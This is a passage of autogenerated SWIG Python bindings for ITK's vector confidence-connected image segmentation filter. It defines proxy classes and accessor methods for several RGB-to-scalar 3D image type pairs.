return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_Clone, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_GetMean, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_swigregister
itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_swigregister(itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3)
def itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3 *":
"""itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3ISS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3(itkImageToImageFilterBPython.itkImageToImageFilterIRGBUC3IUC3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self) -> itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_Clone, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_GetMean, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_swigregister
itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_swigregister(itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3)
def itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3 *":
"""itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUC3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3(itkImageToImageFilterBPython.itkImageToImageFilterIRGBUC3IUS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self) -> itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3_Clone, None, itkVectorConfidenceConnectedImageFilterIRGBUC3IUS3)
